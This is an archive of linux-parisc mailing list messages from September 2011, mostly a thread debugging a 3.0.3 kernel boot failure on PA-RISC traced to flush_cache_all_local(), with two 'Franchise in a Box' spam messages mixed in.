To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 04 03:53:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R01tj-0001No-Sk
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Sep 2011 03:53:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752783Ab1IDBxX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Sep 2011 21:53:23 -0400
Original-Received: from blu0-omc3-s33.blu0.hotmail.com ([65.55.116.108]:14859 "EHLO
	blu0-omc3-s33.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752777Ab1IDBxW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Sep 2011 21:53:22 -0400
Original-Received: from BLU0-SMTP59 ([65.55.116.72]) by blu0-omc3-s33.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 3 Sep 2011 18:47:08 -0700
X-Originating-IP: [69.158.172.102]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.172.102]) by BLU0-SMTP59.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 3 Sep 2011 18:47:07 -0700
In-Reply-To: <201108191958.35802.eike-kernel@sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Sep 2011 01:47:07.0829 (UTC) FILETIME=[8E1C1E50:01CC6AA4]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3927>


On 19-Aug-11, at 1:58 PM, Rolf Eike Beer wrote:

> unwind_init: start = 0x10503000, end = 0x1053a640, entries = 14180
> WARNING: Out of order unwind entry! 105041f0 and 10504200
> WARNING: Out of order unwind entry! 10504200 and 10504210
> WARNING: Out of order unwind entry! 10504cf0 and 10504d00
> WARNING: Out of order unwind entry! 10504d00 and 10504d10

This is fixed in current binutils.  Current binutils also fixes non  
equivalent aliasing
bug that affects PA8800/PA8900 systems.

> IASQ: 00000000 00000000 IAOQ: 1010047c 10100480


IAOQ head provides the location of interruption.  It was a instruction  
memory
protection fault.  Since this is a kernel address, this likely  
indicates the page
tables weren't setup correctly, or the instruction cache wasn't  
flushed correctly.

I'm thinking it would help to localize the change that introduced the
interruption.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Build-a-home-based-business-on-Auto-Pilot-A Franchise in a Box
Date: Sat, 3 Sep 2011 05:53:55 -0700 (PDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <201109031253.p83Crtjo021246@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315110962 27614 80.91.229.12 (4 Sep 2011 04:36:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Sep 2011 04:36:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 04 06:35:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R04Qy-0001MM-0J
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Sep 2011 06:35:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751119Ab1IDEft (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Sep 2011 00:35:49 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:59584 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751015Ab1IDEfs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Sep 2011 00:35:48 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p83Crtdd021267
	for <linux-parisc@vger.kernel.org>; Sat, 3 Sep 2011 05:53:55 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p83Crtjo021246;
	Sat, 3 Sep 2011 05:53:55 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3928 gmane.spam.detected:4887735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3928>



Hello Everyone,

Discover how average people who have never made a cent in the past
Are now making $1,000+ every month,=20
With the Potential of making $50,000 a month
Just "Plug In"... to Your
Own Fully Automated=20
  Turn Key...Global Marketing $ystem
Receive $500-$3,500 Monthly or MORE
Not MLM...and
No Selling...
No Cold Phone Calling.=20
Complete plug-in-system!

Check-it-Out!

http://trckrs.com/48184/rc1

It=92s surprisingly cool!

Dan and Noel


His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380
In compliance with Federal law, should you choose to Un.Subscribe from =
our network, you may do so using theUn.Subscribe instruction found belo=
w.  We are fully compliant with CAN-SPAM Act of 2005-Please use the Un.=
Subscribe link provided:
Build-a-home-based-business-on-Auto-Pilot








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap (code 7)
Date: Sun, 04 Sep 2011 18:35:24 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <2800939.FiF5fAcbHF@donald.sf-tec.de>
References: <201108191958.35802.eike-kernel@sf-tec.de> <BLU0-SMTP59F0DC2CD7C525D1524BA7971A0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1721894.5vEjEeikWo"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1315154162 24397 80.91.229.12 (4 Sep 2011 16:36:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Sep 2011 16:36:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 04 18:35:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0Ffp-0005id-FC
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Sep 2011 18:35:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751474Ab1IDQfz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Sep 2011 12:35:55 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:36992 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751320Ab1IDQfz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Sep 2011 12:35:55 -0400
Original-Received: (qmail 18774 invoked from network); 4 Sep 2011 16:35:50 -0000
Original-Received: from dslb-178-003-244-088.pools.arcor-ip.net ([::ffff:178.3.244.88] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.20svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sun, 04 Sep 2011 16:35:50 +0000
User-Agent: KMail/4.6.0 (Linux/2.6.37-12-desktop; KDE/4.6.4; i686; ; )
In-Reply-To: <BLU0-SMTP59F0DC2CD7C525D1524BA7971A0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3929>


--nextPart1721894.5vEjEeikWo
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

You wrote:
> On 19-Aug-11, at 1:58 PM, Rolf Eike Beer wrote:
> > unwind_init: start = 0x10503000, end = 0x1053a640, entries = 14180
> > WARNING: Out of order unwind entry! 105041f0 and 10504200
> > WARNING: Out of order unwind entry! 10504200 and 10504210
> > WARNING: Out of order unwind entry! 10504cf0 and 10504d00
> > WARNING: Out of order unwind entry! 10504d00 and 10504d10
> 
> This is fixed in current binutils.  Current binutils also fixes non
> equivalent aliasing
> bug that affects PA8800/PA8900 systems.

The kernel.org or the GNU version?

> > IASQ: 00000000 00000000 IAOQ: 1010047c 10100480
> 
> IAOQ head provides the location of interruption.  It was a instruction
> memory
> protection fault.  Since this is a kernel address, this likely
> indicates the page
> tables weren't setup correctly, or the instruction cache wasn't
> flushed correctly.
> 
> I'm thinking it would help to localize the change that introduced the
> interruption.

I'll try to bisect this in the next days.

Eike
--nextPart1721894.5vEjEeikWo
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk5jqNIACgkQXKSJPmm5/E6lfACfbtOTl8FAKMR72VwDc92dSB5I
/eIAn2RxBGJ4cOvCfR3i0+4Ti+X69r1M
=YGEg
-----END PGP SIGNATURE-----

--nextPart1721894.5vEjEeikWo--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap (code 7)
Date: Sun, 4 Sep 2011 13:59:57 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <BLU0-SMTP27D6C3B43A570182A039D3971A0@phx.gbl>
References: <201108191958.35802.eike-kernel@sf-tec.de> <BLU0-SMTP59F0DC2CD7C525D1524BA7971A0@phx.gbl> <2800939.FiF5fAcbHF@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315159221 24213 80.91.229.12 (4 Sep 2011 18:00:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Sep 2011 18:00:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 04 20:00:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0GzQ-00016t-KT
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Sep 2011 20:00:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752141Ab1IDSAQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Sep 2011 14:00:16 -0400
Original-Received: from blu0-omc3-s17.blu0.hotmail.com ([65.55.116.92]:56647 "EHLO
	blu0-omc3-s17.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752131Ab1IDSAP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Sep 2011 14:00:15 -0400
Original-Received: from BLU0-SMTP27 ([65.55.116.73]) by blu0-omc3-s17.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Sep 2011 11:00:14 -0700
X-Originating-IP: [69.158.172.102]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.172.102]) by BLU0-SMTP27.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Sep 2011 11:00:13 -0700
In-Reply-To: <2800939.FiF5fAcbHF@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Sep 2011 18:00:13.0107 (UTC) FILETIME=[7E728830:01CC6B2C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3930>


On 4-Sep-11, at 12:35 PM, Rolf Eike Beer wrote:

> You wrote:
>> On 19-Aug-11, at 1:58 PM, Rolf Eike Beer wrote:
>>> unwind_init: start = 0x10503000, end = 0x1053a640, entries = 14180
>>> WARNING: Out of order unwind entry! 105041f0 and 10504200
>>> WARNING: Out of order unwind entry! 10504200 and 10504210
>>> WARNING: Out of order unwind entry! 10504cf0 and 10504d00
>>> WARNING: Out of order unwind entry! 10504d00 and 10504d10
>>
>> This is fixed in current binutils.  Current binutils also fixes non
>> equivalent aliasing
>> bug that affects PA8800/PA8900 systems.
>
> The kernel.org or the GNU version?


I don't recall exactly the kernel version.  Helge made the changes.
The binutils changes for it are in 2.21 and head.  They were applied
in the latter part of 2009.

The equivalent aliasing fix is also in 2.21 and head.  However,
it wasn't in the initial 2.21 release.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: A Franchise in a Box-Have You Send This Yet !
Date: Mon, 5 Sep 2011 20:35:59 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <201109060335.p863Zxpx017557@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315280273 32114 80.91.229.12 (6 Sep 2011 03:37:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 03:37:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 05:37:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0mTq-0004RI-7S
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 05:37:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752374Ab1IFDhi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Sep 2011 23:37:38 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:49906 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752542Ab1IFDhh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Sep 2011 23:37:37 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p863ZxCb017571
	for <linux-parisc@vger.kernel.org>; Mon, 5 Sep 2011 20:36:00 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p863Zxpx017557;
	Mon, 5 Sep 2011 20:35:59 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 12.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?74.122.159.222>]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3931 gmane.spam.detected:4888148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3931>


Hello Everyone,

Just =93Plug In=94.. to Your
Own Fully Automated
Turn Key..Global Marketing $ystem
Receive $3,000-$7,000 Weekly or MORE Not MLM=85and No Selling.

http://trckrs.com/48184/rc8

It=92s surprisingly cool!

Dan




His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380In compliance with Federal law, should you choose to U=
n.Subscribe from our network, you may do so using theUn.Subscribe instr=
uction found below.  We are fully compliant with CAN-SPAM Act of 2005-P=
lease use the Un.Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 09:40:13 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1315294824 11159 80.91.229.12 (6 Sep 2011 07:40:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 07:40:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 09:40:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0qGZ-00053F-Sp
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 09:40:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753223Ab1IFHkT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 03:40:19 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:34975 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752825Ab1IFHkS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 03:40:18 -0400
Original-Received: (qmail 19353 invoked by uid 81); 6 Sep 2011 07:40:13 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 6 Sep 2011 09:40:13 +0200
In-Reply-To: <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3932>

>> On Wed, Aug 31, 2011 at 11:48:20AM -0400, Kyle McMartin wrote:
>>> Attach .config?
>>>
>>
>> I suspect bootmem changes have broken somewhere on 32-bit... try
>> inserting a few printk between each of the function calls at the start
>> of paging_init to try to narrow down exactly where it fails.
>
> It's flush_cache_all_local() that fails.

2.6.39.4 works.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 09:46:11 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20110906134611.GA25825@bombadil.infradead.org>
References: <201108191958.35802.eike-kernel@sf-tec.de>
 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
 <20110831154820.GH22818@bombadil.infradead.org>
 <20110831160419.GI22818@bombadil.infradead.org>
 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1315316779 1251 80.91.229.12 (6 Sep 2011 13:46:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 13:46:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 15:46:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0vyg-0000FU-Br
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 15:46:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753300Ab1IFNqN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 09:46:13 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:49624
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754530Ab1IFNqN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 09:46:13 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1R0vye-0001HP-2T; Tue, 06 Sep 2011 13:46:12 +0000
Content-Disposition: inline
In-Reply-To: <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3933>

On Tue, Sep 06, 2011 at 09:40:13AM +0200, Rolf Eike Beer wrote:
> >> I suspect bootmem changes have broken somewhere on 32-bit... try
> >> inserting a few printk between each of the function calls at the start
> >> of paging_init to try to narrow down exactly where it fails.
> >
> > It's flush_cache_all_local() that fails.
> 
> 2.6.39.4 works.
> 

Well... that's weird.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 10:00:29 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20110906140029.GB25825@bombadil.infradead.org>
